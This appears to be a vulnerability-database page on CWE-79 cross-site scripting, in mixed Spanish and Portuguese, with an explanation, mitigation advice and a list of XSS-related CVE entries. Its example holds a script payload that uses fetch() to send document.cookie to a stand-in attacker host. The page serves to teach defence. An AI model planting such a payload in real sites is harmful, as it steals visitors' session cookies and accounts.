Fallos del tipo CWE-79

28.519 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-43523CRITICALIn uClibc and uClibc-ng before 1.0.39, incorrect handling of special characters in domain names returned by DNS servers via gethostbyname, gEPSS 3.1%CVE-2022-0953—Anti-Malware Security and Brute-Force Firewall < 4.20.96 - Reflected Cross-Site ScriptingEPSS 3.1%CVE-2022-2174MEDIUMCross-site Scripting (XSS) - Reflected in microweber/microweberEPSS 3.1%CVE-2022-1597—WPQA < 5.4 - Reflected Cross-Site ScriptingEPSS 3.0%CVE-2023-0827MEDIUMCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 3.0%CVE-2022-38553MEDIUMAcademy Learning Management System before v5.9.1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the SearEPSS 3.0%CVE-2019-6146—It has been reported that cross-site scripting (XSS) is possible in Forcepoint Web Security, version 8.x, via host header injection. CVSSv3.EPSS 3.0%CVE-2023-48974CRITICALCross Site Scripting vulnerability in Axigen WebMail prior to 10.3.3.61 allows a remote attacker to escalate privileges via a crafted scriptEPSS 3.0%CVE-2021-24719—Enfold Theme < 4.8.4 - Reflected Cross-Site Scripting (XSS)EPSS 3.0%CVE-2022-1192—Turn off all comments <= 1.0 - Reflected Cross-Site ScriptingEPSS 2.9%CVE-2023-32751MEDIUMPydio Cells through 4.1.2 allows XSS. Pydio Cells implements the download of files using presigned URLs which are generated using the AmazonEPSS 2.9%CVE-2022-28222MEDIUMCleanTalk AntiSpam <= 5.173 Reflected XSSEPSS 2.9%CVE-2021-24235—Goto - Tour & Travel < 2.0 - Unauthenticated Reflected XSSEPSS 2.9%CVE-2022-2290MEDIUMCross-site Scripting (XSS) - Reflected in zadam/triliumEPSS 2.9%CVE-2021-25120—Easy Social Feed < 6.2.7 - Reflected Cross-Site ScriptingEPSS 2.9%CVE-2023-24278MEDIUMSquidex before 7.4.0 was discovered to contain a squid.svg cross-site scripting (XSS) vulnerability.EPSS 2.9%CVE-2021-33192—Display information UI XSSEPSS 2.9%CVE-2021-24773—WordPress Download Manager < 3.2.16 - Admin+ Stored Cross-Site ScriptingEPSS 2.9%CVE-2020-1936—Stored XSS in Apache AmbariEPSS 2.9%CVE-2025-24459MEDIUMIn JetBrains TeamCity before 2024.12.1 reflected XSS was possible on the Vault Connection pageEPSS 2.8%